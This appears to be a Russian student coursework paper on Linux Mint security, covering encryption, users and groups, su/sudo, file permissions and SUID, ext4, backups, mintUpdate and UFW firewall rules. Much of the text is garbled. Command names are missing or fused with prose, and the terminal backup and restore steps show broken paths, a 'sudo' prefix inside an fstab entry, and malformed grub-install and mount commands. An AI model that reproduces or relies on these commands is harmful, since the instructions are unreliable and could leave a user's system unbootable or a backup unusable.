Исследование механизмов безопасности в Linux подобных ОС

  • Вид работы:
    Курсовая работа (т)
  • Предмет:
    Информационное обеспечение, программирование
  • Язык:
    Русский
    ,
    Формат файла:
    MS Word
    935,33 Кб
  • Опубликовано:
    2014-11-02
Вы можете узнать стоимость помощи в написании студенческой работы.
Помощь в написании работы, которую точно примут!

Исследование механизмов безопасности в Linux подобных ОС

СОДЕРЖАНИЕ

ВСТУПЛЕНИЕ

.МЕХАНИЗМЫ ШИФРОВАНИЯ ДАННЫХ В ОС LINUX MINT

.1 Полное шифрование диска в Linux Mint

.2 Шифрование домашнего каталога в Linux Mint

1.3 -Шифрование в GNOME  Seahorse <#"784678.files/image001.jpg">

Рисунок 1.1 - Реализация FDE в интерфейсе инсталлятора Linux Mint

Конечный пользователь не имеет возможности перенастроить механизм шифрования. FDE предотвращает несанкционированный доступ к данным с помощью механизма аутентификации (имя/пароль). При вводе правильного сочетания имя/пароль система извлекает ключ, необходимый для расшифровки файлов на жестком диске. Фактически это добавляет дополнительный уровень безопасности, поскольку зашифрованные данные будут бесполезны для злоумышленника после уничтожения криптографического ключа.

Рисунок 1.2 - Принцип работы FDE

.2 Шифрование домашнего каталога в Linux Mint

Шифрование домашнего каталога обеспечивает надежную защиту данных, хранящихся на жёстком диске или ином носителе. Шифрование особенно актуально на переносных ПК, на компьютерах с множественным доступом, а также в любых других условиях. Шифрование домашнего каталога предлагается при установке Linux Mint.

Основная загвоздка при полном шифровании домашнего каталога состоит в том, что необходимо «вынести» каталог с зашифрованными данными за пределы точки монтирования.

Производительность снижается незначительно, по крайней мере пока не пользуется SWAP. SWAP - это специальный раздел на диске или файл в который операционная система перемещает отдельные блоки оперативной памяти в случае когда оперативной памяти не хватает для работы приложений. SWAP тоже шифруется, если в инсталляторе выбрать шифрование домашнего каталога, и при этом перестает работать спящий режим.

Не шифровать SWAP при шифрованном домашнем каталоге - потенциально опасно, так как там могут оказаться данные из шифрованных файлов в открытом виде - весь смысл шифрования теряется.

Начиная с 14-ой версти Linux Mint, при установке есть возможность выбрать вариант шифрования всего диска. Этот вариант наиболее подходит для сохранения персональных данных на переносных устройствах (у которых, как правило, только один пользователь).

1.3 -Шифрование в GNOME  Seahorse <#"784678.files/image003.jpg">

Рисунок 1.3 - Работа с CryptKeeper

Для вступления изменений в силу, нужно сначала отсоединить папку затем снова присоединить к файловому менеджеру, подтвердив права доступа вводом пароля. После этого можно спокойно копировать в хранилище все данные, которые сочтете конфиденциальными.

В итоге, как и было отмечено ранее, на стороне пользователя оказывается простота и скорость исходного процесса. Кроме того возможность указания времени доступа к хранилищу дает программе некоторое преимущество перед стандартным методом установки пароля на папки пользователя.


2.ЛОКАЛЬНАЯ БЕЗОПАСНОСТЬ В ОС LINUX MINT

Локальная безопасность - это правила, меры и усилия, направленные на защиту системы изнутри, от локальных пользователей. Получение доступа как локальный пользователь - это один из первых шагов, которые попытается сделать взломщик на пути к получению счета администратора. Локальные пользователи также могут причинить достаточно вреда в системе.

ОС Linux является полноценной многопользовательской системой с простой и распределенной архитектурой. Архитектура ОС Linux приведена на рисунке 2.1.

Рисунок 2.1 - Архитектура ОС Linux

является многопользовательской системой, и тот факт, что в систему могут иметь одновременный доступ огромное число людей, как доверенных, так и нет, представляется более чем очевидным.

2.1 Группы и пользователи

В Linux Mint существует как минимум 2 способа создания новой учетной записи:

При помощи графического интерфейса.

Для создания новой учетной записи в меню запускается утилита «Пользователи и группы». Здесь отображаются все учетные записи пользователей, которые присутствуют в системе. Для добавления, необходимо нажать на «Добавить». Необходимо выбрать тип учётной записи.

Существует 3 вида учетной записи:

Администратор (root) - пользователь может администрировать систему

Пользователь - пользователь может работать в системе, но не может администрировать её (использовать команду sudo, устанавливать программы, управлять пользователями и т.д., т.п.)

Прочие - эта учетная запись с особыми параметрами доступа, которые устанавливаются вручную. Для этого нужно воспользоваться вкладкой «Дополнительные параметры». На вкладке «Привилегии пользователя» можно задать, какие операции может выполнять пользователь, а какие - нет.

Далее необходимо ввести полное имя и имя пользователя, которое будет служить как логин.

В следующем окне необходимо ввести пароль и подтвердить его. Выполнив все выше описанные действия будет создана новая учетная запись. Для добавления её в разные группы, необходимо просто нажать на те группы в которых данный пользователь состоит и в представленном перечне выбрать необходимые группы. Если пользователь не входит в группу admin, то он не сможет, к примеру запустить утилиту «Пользователи и группы», если не входит в группу sudo, то не сможет использовать команду sudo в терминале, если не входит в группу cdrom, то не сможет использовать пользоваться записью дисков. Linux Mint содержит более 40 подобных групп.

Рисунок 2.2 - Перечень групп

Чтобы все предыдущие действия вступили в силу необходимо перезагрузить компьютер. На входе в систему будет предложено, под какой учётной записью войти в систему.

Через терминал.

Для создания новой учетной записи необходимо запустить терминал и ввести следующую команду:adduser student

Рисунок 2.3 - Создание учётной записи через терминал

Если необходимо добавить пользователя в разные группы, то необходимо записать команду:gpasswd -a student admin

В данном случае, пользователю student был добавлен в группу admin.

Иногда, для удобства работы, пользователей объединяют в группы. По умолчанию один пользователь не имеет доступа к домашнему каталогу другого пользователя. Но если нескольких пользователей объединить в одну группу, то у каждого из них будет доступ не только к своему домашнему каталогу, но и к домашним каталогам других пользователей. Полезность таких объединений очевидна. Создаётся новая группа таким же образом что и учётные записи.

.2 Пользователь Root

Как su, так и sudo используются для запуска команд с привилегиями root. Пользователь root в целом эквивалентен администратору в Windows - он имеет наибольшие права и может делать с системой практически все. Обычные пользователи в Linux Mint имеют намного меньшие возможности - например, они не могут устанавливать программы или записывать в системные директории.

Если нужно сделать что-то, требующее таких прав, то можно получить их с поомощью su или sudo.

При выполнении команды su без дополнительных опций она переключает использовавшего её в сеанс суперпользователя. Для этого необходимо знать пароль root. Но это не все, что может делать команда su, на самом деле она может использоваться для переключения в любой пользовательский аккаунт. После ввода команды su Arty, будет предложено ввести пароль пользователя Arty, и оболочка переключится в его аккаунт.запускает с правами root только одну команду. При выполнении команды sudo система будет запрашивать текущий пользовательский пароль, а затем запустит команду на выполнение от имени root.

Это ключевое различие между su и sudo. Su переключает вас в аккаунт root и требует пароля root. Sudo запускает с привилегиями root одну команду - она не переключает вас в аккаунт суперпользователя и не требует отдельного пароля root.Mint также поддерживает графические версии Su и Sudo, которые запрашивают у пользователя пароль в графическом окружении. Например, с помощью приведенной ниже команды можно получить графический запрос пароля и запустить файловый менеджер Nautilus с привилегиями root. Для этого необходимо нажать Alt-F2, чтобы запустить команду в графическом диалоговом окне без терминала.

Рисунок 2.4 - Использование Su и Sudo через графический интерфейс

Команда gksu также имеет несколько тузов в рукаве. Она запоминает текущие настройки рабочего стола, поэтому графические программы при их запуске от имени другого пользователя не будут выглядеть неожиданно. Такие программы, как gksu являются предпочтительным способом запуска графических программ с привилегиями root. Gksu использует su или sudo, в зависимости от дистрибутива.

.3 Права доступа

Файлы в Linux Mint, как, впрочем, и процессы, созданные пользователем, имеют двух владельцев: пользователя и группу-пользователя. Кроме этого определяются права для прочих, то есть тех, которые не вошли в первые два списка.

Каждый пользователь может быть членом сразу нескольких групп, одна из которых называется первичной, а все остальные - дополнительными. Наличие групп дает определенную гибкость в организации доступа к конкретному файлу. Например, чтобы разрешить запись дисков в Linux Mint, достаточно добавить пользователя в группу cdrom. Аналогично можно организовать совместное использование некоторого ресурса: достаточно создать новую группу и включить в нее всех, кому это действительно необходимо. Обычно владельцем файла является пользователь, который его создал, а владелец-группа устанавливается равной первичной группе пользователя, создавшего файл.

Просмотреть текущие права можно при помощи команды ls -l:-l sound.mрЗ

Чтобы изменить владельцев файла, используется команда chown, принимающая в качестве параметров имя нового владельца или группу и список файлов. Формат такой:chown new_owner file1 file2 ...

На месте названия файла может быть и имя каталога, но при этом владелец файлов внутри каталога не изменится, а чтобы это произошло, добавляем флаг -R. При использовании любой команды оболочки можно пользоваться регулярными выражениями, если есть необходимость отобрать файлы, удовлетворяющие определенному критерию:chown -R Artem *

В примере владельцем всех файлов в текущем каталоге и подкаталогах будет пользователь Artem. Команда chown позволяет установить и группу-владельца. Для этого нужно сразу за именем владельца без пробелов и других знаков поставить двоеточие и написать название необходимой группы:

sudo chown - R artem:video *

Допускается и такой вариант записи:- R :video *.

Кроме chown для изменения владельца группы можно использовать команду chgrp, синтаксис использования данной команды аналогичен предыдущей:audio /home/Artem /*

Владение файлом определяет те операции, которые тот или иной пользователь может совершить над файлом. Самые очевидные из них - это изменение владельца и группы для некоторого файла. Данные операции может проделать суперпользователь и владелец файла (для некоторых - только суперпользователь).

Все эти ограничения введены по нескольким причинам. Во-первых, для того чтобы никто не мог подсунуть какой-нибудь зловредный файл или скрипт, а во-вторых, чтобы, если на компьютере установлен лимит дискового пространства для конкретного пользователя, нельзя было превысить его, просто переопределив владельца.

Кроме владения файлом права доступа определяют базовые операции, которые можно совершить над файлом. Их три:

• Read - доступ на чтение;

• Write - доступ на запись;

• eXecute - доступ на выполнение.


Таблица 2.1 - Режимы файлов

Таким образом, команда755 file

устанавливает следующие права доступа: если это исполняемый файл, то запустить его на выполнение и прочитать содержимое имеют право все (то есть владелец, группа и остальные), а владелец дополнительно имеет право на изменение содержимого - запись.

Относительная форма команды требует конкретного указания классов доступа (и - владелец, g - группа, о - остальные, а - все вместе), соответствующие права доступа (r - чтение, w - запись, х - выполнение) и операцию, которую необходимо произвести для списка файлов (+ -добавить, - - удалить, = - присвоить) для соответствующего списка файлов. Например, командаchmod u+w, ug+r, a+x file

Добавляет к имеющимся право запустить файл на выполнение, группа и владелец смогут прочесть содержимое, а владелец, кроме того, и изменить содержание. Применение = относится, скорее, к абсолютному заданию прав доступа, так как устанавливает соответствующие права вместо имеющихся.

К слову, вызвав свойства файла или каталога и перейдя на вкладку Права, можно изменить группу и параметры доступа к файлу для тех объектов, владельцем которых является данный пользователь.

Рисунок 2.5 - Графический интерфейс прав доступа

Для каталогов права доступа имеют немного другой смысл. Каталог - это файл, содержащий имена всех файлов, которые имеются в данном каталоге. Право на чтение каталога позволяет всего лишь получить имена файлов, находящихся в данном каталоге. А вот для того, чтобы получить другую дополнительную информацию, нужно право на исполнение. Чтобы перейти внутрь каталога, необходимо иметь право на выполнение. Кстати, из-за наличия этих особенностей можно добиться так называемого эффекта dark directory, когда создаем в каталоге файлы, которые доступны, только если пользователь знает точно имя соответствующего файла. Право на запись для каталога позволяет изменять его содержимое, то есть удалять и записывать файлы, при этом права доступа к конкретному файлу игнорируются.

Права на доступ проверяются в следующей последовательности: суперпользователь, владелец, группа-владелец и прочие. Система при запросе нужного ресурса проверит, кем он запрашивается в приведенной выше последовательности, и допустит только к разрешенным операциям, дальнейшая проверка прав просто не будет проводиться.

Группу, в которую входит пользователь, можно изменить, отредактировав файл /etc/group. Внутри файл состоит из ряда строк вида: х : 24 : oem

то есть в данной строке описана группа cdrom, в которую входит пользователь oem. Чтобы добавить в эту группу пользователя Artem, просто дописываем его логин через запятую:: х : 24 : oem, Artem

Цифра 24 означает GID (group id) - цифровое значение группы. Новая группа создается командой addgroup, учетная запись - adduser.

Кроме этого Linux Mint предлагает графический инструмент управления группами и учетными записями, который можно вызвать из меню «Администрирование» > «Пользователи и группы».

С его помощью можно очень просто добавить новую учетную запись или группу и установить членство в группах.

Данные об учетной записи хранятся в файле /etc/passwd. Формат такой:name : пароль : uid : gid : uid коментарий:домашний каталог:shell

Например:: х : 1000 : 1000 : Artem , , , : / home / Artem: / bin / bash

Все обычные учетные записи имеют UID начиная с 1000.

Зачем это нужно? Например, необходимо рассмотреть данные устройства, выводящего звук:-l /dev/dsp

После чего в терминале отобразится следующее:

crw-rw----+ 1 root audio 14, 3 2010-06-10 11:59 /dev/dsp

То есть считать данные может только пользователь root и все, кто входит в группу audio. Следовательно, если у пользователя не проигрывается звук и система выдает, что не может получить доступ, необходимо просто проверить права. Справедливости ради нужно отметить, что права доступа имеет не пользователь, а процесс, запущенный им. Каждый пользователь, зарегистрировавшись в системе, получает свою копию текущего процесса shell, который имеет установленные идентификаторы RID и RGID - реальные идентификаторы пользователя и первичной группы пользователя. А все процессы, запущенные пользователем (дочерние), наследуют все переменные, в том числе RID и RGID.

Остались нерассмотренными три режима файла: бит сохранения задачи (stisky bit), а также флаги SUID и SGID. Со stisky bit все просто, этот бит указывает на необходимость сохранения копии выполняющейся программы в памяти после завершения выполнения. Данный режим позволяет сэкономить время на запуске программы при частом использовании, но в современных системах применение этого режима встречается редко.

Флаги SUID и SGID позволяют изменить (расширить) права пользователя (группы), запустившего программу, на время ее выполнения. Как уже говорилось, запущенное приложение имеет такие же права доступа к системным ресурсам, как и пользователь, запустивший программу. А установки этих флагов позволяют назначить права доступа исходя из прав доступа владельца файла. Следовательно, если владельцем запущенного приложения является root, то любой, независимо от того, кто запустил данное приложение, будет иметь права суперпользователя. Вместе с тем при установке флага SUID наследуются права владельца файла, a SGID - группы-владельца.

Буква s в выводе команды ls -l означает, что установлен флаг SUID, а владельцем файла является - root, и теперь, кто бы ни запустил утилиту на выполнение, на время работы программы он временно получает права суперпользователя, то есть право произвести запись в защищенный системный файл. Естественно, утилита должна (и делает это) производить изменение учетной записи только запустившего ее пользователя.

Для установки битов SUID/SGID в символьной форме используется буква s, sticky bit устанавливается буквой - t , а с помощью буквы l можно установить блокировку файла для устранения возможных конфликтов, когда несколько процессов попытаются работать с одним и тем же файлом.

Обычно sticky bit установлен в каталоге /tmp. Это сделано для того, чтобы удалить файл мог только пользователь, создавший его. При установке бита SGID для каталога все вновь созданные файлы будут теперь наследовать группу не по пользователю, создавшему его, а по группе - владельцу каталога.

.4 Файловая система

Под файловой системой понимается физический способ организации данных на дисковом разделе, то есть возможность хранения, нахождения и манипулирования (запись, перезапись и удаление).

Еще один момент, с которым придется столкнуться во время установки Linux Mint, - выбор файловой системы. В отличие от Windows, которая предлагает отформатировать диск в NTFS или FAT32, а в последних версиях - только в NTFS, в Linux Mint выбор гораздо больше. Современное ядро поддерживает следующие файловые системы, на которых можно установить Linux, - ext2, ext3, ext4, ReiserFS, XFS и JFS. А список всех файловых систем, разделы которых может монтировать Linux Mint, еще больше, в том числе в этом списке находятся и файловые системы, считающиеся родными для других операционных систем, в частности Windows. В данном случае была выбрана файловая система ext4.

Файловая система ext3 заслужила репутацию надежной, ей доверяют свои данные многие пользователи и корпорации. Но наиболее существенным ограничением является максимальный размер хранилища 16 Тбайт. Чтобы снять это ограничение, в середине 2006 г. была выпущена серия заплаток (patch), которые, в свою очередь, нарушали обратную совместимость. Поэтому было принято решение на основе заплаток создать новую файловую систему, которая получила название ext4.

Главная задача разработчиков - не просто повысить производительность и улучшить характеристики, но и предоставить простой путь перехода пользователей, работавших с ext2 или ext3, на новую версию файловой системы. В результате ext4 получила следующие особенности:

Совместимость. Любая имеющаяся файловая система типа Ext3 может быть конвертирована в Ext4 путём простой процедуры, состоящей из запуска пары команд в режиме «только чтение». Это означает, что можно повысить производительность и вместимость и улучшить возможности имеющейся файловой системы без переформатирования и без переустановки ОС и программ.будет использовать новые структуры только для новых данных, а старые при этом останутся неизменными. При необходимости их можно будет читать и изменять. Это безусловно означает, что, единожды сменив файловую систему на Ext4, вернуть Ext3 будет уже невозможно.

Также имеется возможность смонтировать файловую систему Ext3 как Ext4 без использования нового формата данных, что позволит впоследствии смонтировать её опять как Ext3. При этом, само собой, не можно воспользоваться многочисленными преимуществами Ext4.

. Больший размер файлов и файловой системы. На сегодняшний день максимальный размер файловой системы Ext3 равен 16 терабайтам, а размер файла ограничен 2 терабайтами. В Ext4 добавлена 48-битная адресация блоков, что означает, что максимальный размер этой файловой системы равен одному экзабайту, и файлы могут быть размером до 16 терабайт. 1 EB (экзабайт) = 1,048,576 TB (терабайт), 1 EB = 1024 PB (петабайт), 1 PB = 1024 TB, 1 TB = 1024 GB. Почему 48-битная, а не 64-битная? Имелся ряд ограничений, которые необходимо было бы снять, чтобы сделать Ext4 полностью 64-битной, и такой задачи перед Ext4 не ставилось. Структуры данных в Ext4 проектировались с учётом требуемых изменений, поэтому однажды в будущем поддержка 64 бит в Ext4 появится. Пока же придётся довольствоваться одним экзабайтом.

. Масштабируемость подкаталогов. В настоящий момент один каталог Ext3 не может содержать более чем 32000 подкаталогов. Ext4 снимает это ограничение и позволяет создавать неограниченное количество подкаталогов.

. Экстенты. Традиционные файловые системы, произошедшие от Unix, такие как Ext3, используют схему непрямого отображения блоков для отслеживания каждого блока, отвечающего за хранение данных файла. Такой подход неэффективен для больших файлов, особенно при операциях удаления и усечения таких файлов, поскольку карта соответствия содержит по одной записи на каждый отдельный блок. В больших файлах блоков много, их карты соответствия большие, и обрабатываются они медленно.

В современных файловых системах применяется иной подход, основанный на так называемых экстентах. Экстент - это в общем-то набор последовательных физических блоков. Он как бы говорит: «Эти данные находятся в следующих n блоках». Например, файл размером в 100 мегабайт может храниться в единственном экстенте такого же размера, вместо того, чтобы быть разбитым на 25600 4-килобайтных блоков, адресуемых путём непрямого отображения. Огромные файлы можно разделить на несколько экстентов.

Благодаря применению экстентов улучшается производительность, а также уменьшается фрагментированность, поскольку экстенты способствуют непрерывному размещению данных.

. Многоблочное распределение. Если в Ext3 нужно записать на диск новые данные, специальный механизм распределения блоков определяет, какие блоки из числа свободных будут для этого использованы. Проблема в том, что в Ext3 этот механизм распределяет в один присест только один блок (4 килобайта). Это означает, что, если нужно записать, скажем, ранее упомянутые 100 мегабайт данных, нужно будет обратиться к механизму распределения 25600 раз. Мало того, что это неэффективно, это к тому же не позволяет оптимизировать политику распределения, поскольку соответствующий механизм не имеет понятия о реальном объёме данных, подлежащем записи, а знает только об одном-единственном блоке.использует механизм многоблочного распределения (multiblock allocator, mballoc) который позволяет распределить любое количество блоков с помощью единственного вызова и избежать огромных накладных расходов. Благодаря этому производительность существенно вырастает, что особенно заметно при отложенном распределении с использованием экстентов. Эта возможность никак не влияет на формат данных.

. Отложенное распределение. Отложенное распределение представляет собой способ повышения производительности, не влияющий на формат данных и представленный в современных файловых системах, таких как XFS, ZFS, btrfs и Reiser 4.

Суть этого метода состоит в отсрочке выделения блоков насколько это возможно - по контрасту с подходом, применяемым в традиционных файловых системах (таких как Ext3, reiser3 и т. д.): распределять блоки сразу, при первой возможности. Например, если процесс осуществляет запись вызовом write(), файловая система распределит блоки под запись немедленно - даже если данные пока не будут записываться на диск, а будут находиться какое-то время в кэше. Недостатки такого подхода, например, в том, что, если процесс непрерывно осуществляет запись в растущий файл, последовательные вызовы write() постоянно распределяют блоки данных, и при этом неизвестно, будет ли файл расти далее.

При использовании отложенного распределения блоки сразу не выделяются при обращении к write(). Вместо этого распределение откладывается до момента, когда файл будет записан из кэша на диск. Благодаря этому механизм получает возможность оптимизировать процесс распределения. Наибольший выигрыш получается при использовании двух ранее упомянутых возможностей - экстентов и многоблочного распределения, поскольку часто встречается ситуация, когда окончательный файл пишется на диск в виде экстентов, распределённых с помощью mballoc. Это даёт существенный прирост производительности, и иногда сильно снижает фрагментированность данных.

. Контрольные суммы журнала. Журнал является наиболее часто используемой частью диска, вследствие чего блоки, из которых он состоит, становятся особенно чувствительными к отказам оборудования. Более того, попытка восстановления при повреждённом журнале может привести к ещё более массовым повреждениям в данных. Ext4 подсчитывает контрольные суммы журнальных данных, что позволяет определить факт их повреждения. У этого есть и ещё одно преимущество: благодаря контрольным суммам можно превратить систему двухфазной фиксации журнала Ext3 в однофазную, что ускоряет файловые операции в отдельных случаях до 20 %, таким образом, улучшаются одновременно и надёжность, и производительность.

. Режим без журналирования. Журналирование обеспечивает целостность файловой системы путём протоколирования всех происходящих на диске изменений. Но оно также вводит дополнительные накладные расходы на дисковые операции. В некоторых особых ситуациях журналирование и предоставляемые им преимущества могут оказаться излишними. Ext4 позволяет отключить журналирование, что приводит к небольшому приросту производительности.

. Устойчивое перераспределение. Эта возможность, доступная уже в Ext3 в последних версиях ядра и эмулируемая glibc в файловых системах, которые её не поддерживают, позволяет приложениям заранее распределять дисковое пространство, сообщая о своих потребностях файловой системе. Та, в свою очередь, выделяет необходимое количество блоков и структур данных, но они пусты до тех пор, пока приложение в реальности не осуществит в них запись.

Это именно то, что делают, например, P2P-приложения, выделяя место для данных, которые появятся там только спустя часы или дни. Однако реализовано это намного более эффективно - на уровне файловой системы и с универсальным API.

Применений этому несколько: во-первых, чтобы предотвратить выполнение того же самого приложениями (такими как P2P), неэффективно заполняющими файлы нулями - нужные блоки будут выделены разом.

Во-вторых, чтобы снизить фрагментацию - опять же потому, что блоки выделяются однократно, настолько непрерывно, насколько это возможно.

В-третьих, чтобы гарантировать, что приложение будет иметь столько места, сколько ему требуется, что особенно важно для приложений, работающих в реальном времени, поскольку файловая система может вдруг переполниться в процессе выполнения важной операции.

. Механизм «шлагбаумов» по умолчанию включен. Это опция, обеспечивающая целостность файловой системы ценой некоторой потери производительности (её можно отключить с помощью «mount -o barrier=0», рекомендуется сделать это при замерах производительности).

Выдержка из статьи LWN: «Код файловой системы обязан перед созданием записи фиксации [журнала] быть абсолютно уверенным, что вся информация о транзакции помещена в журнал. Просто делать запись в правильном порядке недостаточно; современные диски имеют кэш большого объёма и меняют порядок записи для оптимизации производительности. Поэтому файловая система обязана явно сообщить диску о необходимости записать все журнальные данные на носитель перед созданием записи фиксации; если сначала будет создана запись фиксации, журнал может быть повреждён. Блокирующая система ввода-вывода ядра предоставляет такую возможность благодаря использованию механизма «шлагбаумов» (barriers); проще говоря, «шлагбаум» запрещает запись любых блоков, посланных после него, до того момента, как всё, что было прислано перед «шлагбаумом», будет перенесено на носитель. При использовании «шлагбаумов» файловая система может гарантировать, что всё, что находится на диске, целостно в любой момент времени».

2.5 Резервное копирование данных

Резервное копирование данных - процесс создание копий важной информации, которые хранятся на других хранилищах данных (флешка, жесткий диск, DVD-диск, облачный сервис и т.д.). Резервное копирование данных очень важная операция, которую должен производить любой пользователь, через определенный промежуток времени.

Для начала рассмотрим резервное копирование файлов через графический интерфейс.

Рисунок 2.6 - Резервное копирование

Для начала необходимо выбрать в качестве источника данных домашний каталог. Далее выбрать, где вы хотите разместить резервную копию файлов. В дополнительных параметрах следует выбрать следующее:

Описание.

Переписать (можно игнорировать этот параметр, он вступает в силу, если пользователь планирует обновить уже существующие резервные копии).

Проверить целостность: замедляет процесс, но делает его более надёжным, он проверяет подпись каждого файла после его резервного копирования.

Сохранить права доступа и временные метки.

Рисунок 2.7 - Резервное копирование файлов

Для экономии места и времени, можно исключить те директории в которых пользователь не нуждается.

Для резервного копирования программного обеспечения необходимо нажать на кнопку «Резервное копирование программ». Далее необходимо выбрать место для хранения создаваемой резервной копии.

Рисунок 2.8 - Резервное копирование программ

Для восстановления данных и программ следует запустить «Восстановление файлов» и «Восстановление программ» соответственно.


Рисунок 2.9 - Восстановление файлов

Если резервные копии данных сохранены в виде архива, следует выбрать «Архив», в противном случае - «Папка» и указать архив, либо место, где было сохранено резервную копию данных. Далее выбрать новую домашнюю папку в которую будут сохранены восстановленные файлы.

При восстановлении программ следует выбрать резервные копии программного обеспечения выбора файла. В следующем окне будет показан список пакетов один из которых следует выбрать. Этот список содержит только пакеты, которые были частью предыдущего выбора программного обеспечения и которые не установлены в нынешней системе. Пакеты, которые уже установлены в новой системе не нужно устанавливать снова, так что они не появляются в этом списке.

Также в Linux Mint можно создать резервные копии при помощи терминала. Для этого необходимо использовать следующие команды.fdisk-l

чтобы вывести список всех доступных жестких дисков

Сперва нужно сделать монтирование разделов на Linux Mint, для этого выполняется командаmkdir Backup

Как результат будет создана папка Backup.

Теперь нужно примонтировать этот раздел, для этого выполняется следующее:

sudo mount dev sdbX media backup

,где Х-номер раздела для бэкапа.

Теперь примонтирование папки Backup в media /Backup выполнено.

Далее следует создать директории, которые желательно использовать для резервного копирования. Для этого набираются в терминале данные команды:gedit media backup exclude/*/*/*

Данные три директории обязательны.

Далее необходимо перейти в папку Backup для последующих операций.cd media backup

Теперь приступаем непосредственно к процессу резервного копирования

sudo tar -X media backup exclude -czf /media backup backup.tgz

Буква Х - обозначает путь к файлу, исключающего список директорий, для резервного копирования.

Команда -сzf - создание архиваgzip - способ упаковки файла- путь к архиву.

Восстановление системы Linux Mint из резервной копииfdisk -l mkdir * (создаёт нужную папку)mount dev sd** (где ** указывается номер накопителя) media * указанная папкаcd media (переход в папку на съемном носителе)

На данном этапе действий, нужно обязательно перейти в раздел, куда будут распакованы данныеcp каталог с бэкапом [папка, куда будет распаковываться бэкап] (квадратные скобки обязательны!)

(Cp=это команда копирования в Linux-системах)

Команда распаковки выглядит так:tar -xzpsf backup.tgz

После того как данные были распакованы, нужно установить «загрузчик» (загрузчик для системы и отредактировать важные файлы для восстановления работы системы).

sudo grub-install-root directory=/media/backup dev sda

(media backup - это папка с резервной копией)

Нужно узнать идентификаторы разделов, воспользуясь командой

sudo ls -l dev disk by-uuid

Нужно скопировать идентификатор и отредактировать нужные файлы. Выполняется команда

sudo gedit boot grub grub.cfg

Во время ввода описанной выше команды необходимо находится в папке куда был распакован архив.

Здесь нужно с помощью редактора gedit заменить uuid-идентификаторы на новые. Далее следует редактировать еще один файл.gedit etc fstab

И добавить строку:

sudo dev sda* none swap sw 0 0

Вместо dev sda* , следует указать раздел с подкачкой «SWAP» Узнать «свап-раздел» командой fdisk -l и теперь подключить его, используя командуdev sda*

.6 mintUpdate

Программа MintUpdate предназначена для поддержания системы в актуальном состоянии. Множество настроек делают обновление пакетов удобным для каждого частного случая. Обновления отсортированы по уровню важности, существует возможность редактирования источников и прокси-серверов, просмотр истории обновлений и множество других приятных функций.

Здесь некоторых пояснений требуют первые две колонки. Первая - тип обновления. Их два - стандартно обновляемые пакеты по выходе их новой сборки или версии (отмечены серой стрелкой) и обновления безопасности, ликвидирующие выявленные "дыры" в них (отмечены красным восклицательным знаком).

Во второй колонке указывается уровень безопасности обновления пакетов. Здесь под безопасностью понимается не вероятность использования их злодеями, а то, как обновление пакета может повлиять на общую стабильность системы. Уровней безопасности в этом смысле пять:

Сертифицированные пакеты - обычно те, что непосредственно поддерживаются майнтайнерами Mint.

Рекомендуемые пакеты - проверены и одобрены разработчиками данного дистрибутива.

Безопасные пакеты - не проверялись разработчиками, но нарушение стабильности системы при их обновлении очень маловероятно.

Небезопасные пакеты потенциально могут повлиять на стабильность системы.

Опасные пакеты при некоторых условиях могут привести к нестабильности системы.

Рисунок 2.10 - Менеджер обновлений

По умолчанию отмечены для обновления (третья колонка) пакет уровней 1-3. Для пакетов уровней 4-5 это нужно сделать принудительно. Если оно, конечно, нужно, в чём я лично не всегда уверен:

Само по себе обновление выполняется нажатием экранной кнопки «Установить обновления» и начинается после ввода пользовательского пароля. Развернув пункт «Show individual files», можно наблюдать за ходом процесса в деталях (если, конечно, больше заняться нечем).


3.СЕТЕВАЯ БЕЗОПАСНОСТЬ В ОС LINUX MINT

В операционной системе Linux Mint в качестве фильтра пакетов используется Netfilter, который входит в состав ядра и разрабатывается группой Netfilter Core Team. Для управления его настройками используется утилита командной строки iptables, разрабатываемая параллельно этим же проектом. Процесс настройки требует некоторого понимания протоколов, используемых при обмене информации в Интернете, и назвать его простым нельзя. Хотя тема настройки netfilter/iptables уже не является новой, в глобальной сети можно найти не один десяток документов, описывающих как его устройство, так и сами команды.

.1 Межсетевой экран в Linux Mint

Кроме этого написано несколько хороших графических утилит (КМуFirewall, Firewall Builder, Firestarter и др.), помогающих самостоятельно создавать правила неподготовленному пользователю. В Ubuntu, начиная с версии 8.04, для управления правилами netfilter используется UFW (Uncomplicated firewall), поэтому процесс настройки здесь выглядит несколько иначе, чем в других дистрибутивах. Позже UFW перекочевал в другие дистрибутивы, в том числе и в Linux Mint. Важно понять, что UFW не заменяет iptables, а является лишь удобной высокоуровневой надстройкой над этой утилитой. Процесс создания новых правил планируется сделать максимально понятным для обычного пользователя. Кроме этого упрощена интеграция приложений с межсетевым экраном. Разработчик может создавать готовые правила, которые будут автоматически активироваться при установке сервиса, разрешая нужные сетевые соединения.

По умолчанию UFW всегда отключен, и перед запуском демона его необходимо актировать, заменив в файле /etc/ufw/ufw.conf строку=no=yes

Иначе при попытке его запуска командой

sudo /etc/init.d/ufw start

будет получен отказ.

Кроме непосредственного редактирования конфигурационных файлов настройки можно производить при помощи консольной утилиты ufw. Например, чтобы активировать uwf и разрешить ее загрузку, при старте системы можно поступить следующим образом:ufw enable

Отключить также просто:ufw disable

Существует две глобальные политики: все разрешено и все запрещено. Первая активируется при помощи командыufw default allow

Политика по умолчанию incoming изменена на allow.

Чтобы запретить все подключения, используется командаufw default deny

При помощи ufw очень просто разрешить или запретить входящие соединения для сервиса, описанного в /etc/services, или конкретного порта/протокола.

В общем случае команда выглядит так:allow | deny [ service ]

Иными словами, чтобы разрешить подключение к веб-серверу, работающему на 80-м порту, необходимо поступить следующим образом:ufw allow 80 / tcp

Чтобы просмотреть правила iptables без их активации, необходимо добавить в команду параметр - -dry-run. Параметр status позволит узнать текущие настройки UFW без заглядывания внутрь iptables:ufw status

Удалить разрешение на подключение к выбранному порту можно так же просто:ufw delete allow 80/tcp

Запрещающее правило создается аналогично разрешающему, только вместо allow используется deny:ufw deny 53

Теперь был блокирован доступ к 53-му порту. При этом если ранее было создано, например, разрешающее правило, которое теперь нужно заменить на блокирующее, то это лучше производить в два этапа. Вначале отключается первое правило, а затем устанавливается второе.

Вместо номера порта можно назвать сервис по имени. Необходимо узнать как называется нужный сервис:/etc/services | less

В правилах UFW можно задавать IP-адреса (источника и назначения). Например, чтобы разрешить подключение с внутренней сети 192.168.1.0/24, используется:ufw allow 192.168.1.0/24

или запрещающее правило:ufw deny from 10.20.30.40

Опционально можно указать порт и протокол. Для того чтобы разрешить подключение по SSH только с одного IP-адреса следует ввести следующую команду:

sudo ufw allow from 192.168.0.20 to any port 22

Для включения/отключения регистрации используется команда logging. ufw logging on

